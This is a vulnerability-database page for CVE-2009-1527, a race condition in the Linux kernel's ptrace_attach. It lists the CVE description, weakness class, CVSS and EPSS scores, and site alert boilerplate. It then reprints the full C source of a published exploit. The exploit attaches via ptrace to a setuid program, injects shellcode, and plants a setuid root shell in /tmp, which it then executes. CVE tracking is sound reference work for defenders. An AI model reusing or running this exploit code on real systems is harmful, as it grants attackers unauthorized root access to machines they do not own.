CVE-2009-1527

EPSS

0.06%V4

Vector

Local

Published

2009-05-05
18h00 +00:00

Modified

2018-10-10
16h57 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

Race condition in the ptrace_attach function in kernel/ptrace.c in the Linux kernel before 2.6.30-rc4 allows local users to gain privileges via a PTRACE_ATTACH ptrace call during an exec system call that is launching a setuid application, related to locking an incorrect cred_exec_mutex object.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.9		AV:L/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2024-04-07	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.05%	–
2025-03-02	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-03-09	–	–	–	0.05%	–
2025-03-18	–	–	–	–	0.06%
2025-03-18	–	–	–	–	0.06,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	8%
2024-04-07	9%
2024-06-02	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	25%
2025-03-02	26%
2025-01-19	25%
2025-03-09	26%
2025-03-18	16%
2025-03-18	16%

Exploit information

Exploit Database EDB-ID : 8673

Publication date : 2009-05-12 22h00 +00:00
Author : s0m3b0dy
EDB Verified : Yes

/* ptrace_attach privilege escalation exploit by s0m3b0dy [*] tested on Gentoo 2.6.29rc1 grataz: Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo... email: s0m3b0dy1 (at) gmail.com */ #include <grp.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <paths.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/param.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/socket.h> char shellcode[] = "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99" "\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff" "echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;"; struct user_regs_struct322 { unsigned long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es; unsigned short fs, __fs, gs, __gs; unsigned long orig_eax, eip; unsigned short cs, __cs; unsigned long eflags, esp; unsigned short ss, __ss; }; main() { struct user_regs_struct322 regs; struct stat buf; int i,o; unsigned long * src; unsigned long * dst; char *env[2]; env[0]="/usr/bin/gpasswd"; // some suid file env[1]=0; if((o=fork()) == 0) { execve(env[0],env,0); exit(0); } if(ptrace(PTRACE_ATTACH,o,0,0)==-1) { printf("\n[-] Attach\n"); exit(0); } wait((int *)0); if (ptrace(PTRACE_GETREGS, o, NULL, &regs) == -1){ printf("\n[-] read registers\n"); exit(0); } printf( "[+] EIP - 0x%08lx\n", regs.eip); dst= (unsigned long *) regs.eip; src = (unsigned long *) shellcode; for(i=0;i<sizeof(shellcode) -1;i+=4) if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){ printf("\n[-] write shellcode\n"); exit(0); } ptrace(PTRACE_CONT, o, 0, 0); ptrace(PTRACE_DETACH,o,0,0); printf("[+] Waiting for root...\n"); sleep(2); if(!stat("/tmp/.exp",&buf)) { printf("[+] Executing suid shell /tmp/.exp...\n"); execv("/tmp/.exp",0); } else { printf("[-] Damn no r00t here :(\n"); } return 0; } // milw0rm.com [2009-05-13]